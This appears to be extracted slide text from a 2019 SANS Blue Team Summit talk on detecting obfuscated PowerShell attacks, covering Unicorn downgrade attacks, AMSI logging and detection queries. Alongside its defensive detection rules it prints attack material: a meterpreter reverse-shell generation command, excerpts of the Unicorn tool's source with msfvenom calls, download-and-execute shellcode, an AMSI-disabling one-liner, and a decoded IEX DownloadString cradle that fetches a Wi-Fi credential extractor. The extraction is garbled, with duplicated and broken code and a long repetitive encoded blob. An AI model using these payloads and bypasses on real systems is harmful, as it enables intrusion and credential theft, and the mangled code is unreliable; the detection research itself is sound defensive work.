Suspiciously Inconspicuous

SANS Blue Team Summit - 2019

4-11-2019

Carbon Black.
Greg Foss
Senior Threat Researcher
OSCP, GMON, GAWN, GPFN, GWAPT, GCIH, CSM, CEH, APT
Threat Analysis Unit (TAU)

- **Applied Research Team Mission**: Investigate and research new TTPs to make sure that our customers are protected. Lead 3rd party testing and other security efficacy projects.

- Reverse Engineer malware

- Track botnets and automate malware sample extraction

- Evaluate and remediate product bypasses

- Build and maintain threat detection queries

- Etc...
Detection Engineering

• Leverage available datasets to build high-fidelity indicators of threat actor activity.

• Queries can be used for hunting / alerting / enrichment

• Focus on speed and accuracy

• Test > Validate > Document > Refine > Repeat

• Define scoring and feed placement by Risk

• Release!
• Why not alert on all PowerShell external network connections?
• Encoded commands are always malicious, right?
• Ok – but what about hits to github / pastebin?
• Can’t we detect based on command strings and modloads?
Traditional Threat Lists for PowerShell

Keying off of specific parameters / cmdlets / functions

https://github.com/gfoss/2b39d680badd2cad9d82
Traditional Threat Lists for PowerShell are Useless

Obfuscation is consistently improving around subverting common PowerShell attack detection rules. Easy to catch basic attacks, not advanced adversaries.

- Invoke-Obfuscation, Invoke-Cradlecraft, Unicorn, etc...

Alternative Detection Methods are Needed
Many ways to deliver PowerShell payloads

• Some favorites – MSHTA and Office Document DDE
Example Detection Walkthrough - Unicorn

- https://github.com/trustedsec/unicorn
  - Dave Kennedy (@HackingDave)
Generate a basic payload

```python
# python unicorn.py windows/meterpreter/reverse_https xxx.xxx.xxx.xxx 443
```
Execute the Attack and Gather Telemetry

• Investigate activities observed in your security stack

• Focus on keeping it realistic...

• Avoid too much post exploitation unless that is in scope
Pretty easy, right? Look for Encoded PowerShell

Sure – assuming attackers just run with the defaults...
I have PowerShell Script Block Logging Enabled!

Cool!

Unicorn attacks
disable this automatically...

Same with other frameworks

Many also disable AMSI*
To the sauce!

```python
#!/usr/bin/python

# Magic Unicorn - PowerShell downgrade attack and exploitation tool
#
# Written by: Dave Kennedy (@HackingDave)
# Company: TrustedSec (@TrustedSec) https://www.trustedsec.com
#
# Real quick down and dirty for native x86 powershell on any platform
#
# Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro>
# Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443
# Macro Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro
# HTA Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 hta
#
# Requirements: Need to have Metasploit installed if using Metasploit methods.
# Also supports Cobalt Strike and custom shellcode delivery methods.
#
# IMPORTANT: The way this works is by using 32-bit shellcode and a 32-bit downgrade attack.
# That means your payloads should be a 32-bit payload, not a 64-bit. It will not work if you
# generate a 64-bit platform. Don't fret - the 32-bit payload works on the 64-bit platform.
#
# Special thanks to Matthew Graeber and Josh Kelley
```

# IMPORTANT: The way this works is by using 32-bit shellcode and a 32-bit downgrade attack.
# That means your payloads should be a 32-bit payload, not a 64-bit. It will not work if you
# generate a 64-bit platform. Don't fret - the 32-bit payload works on the 64-bit platform.

# Special thanks to Matthew Graeber and Josh Kelley
# if download_exec is being used
if "url" in ipaddr:


    shellcode = "(\x33\x41\x64\x88\x41\x30\x88\x40\x88\x88\n\x70\x14\x80\x96\x88\x58\x10\x88\x53\n\x30\x88\x52\x78\x03\x8d\x8d\x72\n\x20\x03\x8c\x33\x8d\x90\x8d\x8d\x8d\x8d\n\x38\x47\x65\x74\x50\x75\x54\x81\x78\x0d\n\x72\x6e\x41\x75\x7e\x81\x78\x90\x64\n\x64\x72\x65\x71\x62\x80\x72\x24\x83\x1f\n\x66\x88\x0c\x4e\x49\x80\x72\x32\x83\x1f\n\x80\x14\x8e\x03\x33\x9c\x51\x6e\x2e\n\x65\x78\x65\x64\x65\x61\x64\x31\x32\n\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\n\x72\x68\x4c\x66\x61\x54\x53\x02"


/*
Title: Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode
Date: 2013-22-01
Author: RubberDuck
Web: http://bflow.security-portal.cz
     http://www.security-portal.cz
Tested on: Win 2k, Win XP Home SP2/SP3 CZ (32), Win 7 (32/64)
url = ipaddr.replace("LHOST=", ").replace("url=", ")
url_patched = url_hexified(url)
data = shellcode.replace("\x\URLHERE\", url_patched)

else:
    # gen random number for length
    uri_length=generate_random_number(3,6)

    proc = subprocess.Popen("msfvenom -p \0 \1 \2 --platform windows --smallest -f c".format(payload, ipaddr, port, uri_length),
stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
data = proc.communicate()[0]

    # If you are reading through the code, you might be scratching your head as to why I replace the first 0xc (CLD) from the beginning of the Metasploit meterpreter payload. Defender writes signatures here and there for unicorn, and this time they decided to look for 0xc in the decoded (base64) code through AMSI. Interestingly enough in all my testing, we shouldn't need a clear direction flag and the shellcode works fine. If you notice any issues, you can simply just make a variable like $a='0xc'; at the beginning of the command and add a $a at the beginning of the shellcode which also evades. Easier to just remove if we don't need which makes the payload 4 bytes smaller anyways.
data = data.decode("ascii").replace("\x\fc", ",", 1)
Download and Execute Example

• Technique bypasses various EDR and AV products...

• Poor shell stability though :-/

Anti-Malware Scan Interface

```json
{"pid": 1976,
"session": 4,
"app_name": "PowerShell_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 1.0.17134.1",
"content_name": ",
"content_length": 36,
"content": "$w = New-Object System.Net.WebClient
",
"pid": 1976,
"session": 6,
"app_name": "PowerShell_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 1.0.17134.1",
"content_name": ",
"content_length": 70,
",
"pid": 1976,
"session": 8,
"app_name": "PowerShell_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 1.0.17134.1",
"content_name": ",
"content_length": 84,
"content": "$sc = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($p))"
",
"pid": 1976,
"session": 10,
"app_name": "PowerShell_C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 1.0.17134.1",
"content_name": ",
"content_length": 7,
"content": "iex $sc"
},
```
Detect AMSI Disablement

{
    "pid": 4908,
    "session": 1,
    "app_name": "PowerShell_C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe_10.0.17134.1",
    "content_name": "",
    "content_length": 72,
    "content": "${_._GetFiELD('amsiInitFailed','NonPublic,Static').SetVALUE($null,$true)}"
},

# This will append the AMSI bypass code which is longer than 8191 characters. You will want to turn this off
# if you need a payload that works with cmd.exe as it has a character length restriction size.
AMSIBYPASS="OFF"

# This will print out the fully decoded command for you instead of running it through the powershell obfuscated
# code.
PRINT_DECODED="OFF"
PowerShell Downgrade Attack Detection

- **parent_name**: powershell.exe

- **modload**: windows\assembly\nativeimages_v*\_32\*\*\*\system.management.automation.ni.dll

- **NOT cmdline**: windows\ccmcache (SCCM & related tools)

- Interchangeable options to limit alerts
  - **childproc_name**: csc.exe (\.NET)
    - Base Downgrade Attack detection
  - **netconn_count**: [1 TO *]
    - Downgrade attack with network connections
Sysmon – Captures Initial Command Details
Sysmon – Decodes to single Base64
New Encoded PowerShell Command Detected

Case #: 2339
Owner: Foss, Greg
Tags: phishing

Due: 09/13/2018
Last Edit: 09/12/2018 10:56 am
Age: 23h 39m

Summary: A previously undocumented encoded PowerShell string was detected, based on string length, character spacing, and dynamic string analytics. Review this string and ensure any false-positives are documented and escalated.

NOTES

Ninja - API added a note
09/12/2018 10:56 am

Encoded Command:

```
powershell -nop-enc
SQBFAgIAAaAeA4AXQB3ACDAfWbIAGoAQAQBABOAUQAABAAAfAfA4QBAEFaAEBAAEABaAQAABGAAAbAGAAAbAGAAAbAGAAAbAGAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGAAAbAGA...```

Decoded Command:

```
IEX (New-Object
Net.WebClient).DownloadString('https://gist.githubusercontent.com/gfoss/c6a594dd88c7a3e13bc3b582ae532c3e/aws/36d8f7f8c27d8c4749f848c35594b8c396df6/Extract-WiFi-Credscps.ps1'); Extract-Wifi
```

This case has no associated cases. You can click the SELECT A CASE dropdown to associate a case.
No SIEM? No Problem...

- Utilize CB-Response API
- Multithreaded
- Pull up to 100k cmds in under 10 seconds
- Sort and review cmds
- Search across platforms
- Save loads of time!
Why so much focus on PowerShell?

Top ATT&CK Techniques by Prevalence

This chart illustrates how often each ATT&CK technique is leveraged in a confirmed threat in our customers' environments. To provide a degree of scope to this chart, the top technique is PowerShell, which was a component of 1,774 confirmed threats.

https://redcanary.com/resources/guides/threat-detection-report/
Choose your destiny...

Dredge Net Campaign

Questions / Answers?
Large Scale Dredge Net Campaign Underway...

Not even trying to hide

Obtain External IP
List Processes
OS Fingerprinting
Calculate Memory Capacity
List CPU Info and Load %
Large Scale Dredge Net Campaign Underway...

PowerSploit Mimikatz

Write Data to File

Plain Text Creds...

Upload Data via FTP
HTP Monitoring

“Hypothetically”

demo
Over 100k unique infections and counting

To be continued...
Thank You!

gfoss[@]carbonblack.com
@heinzarelli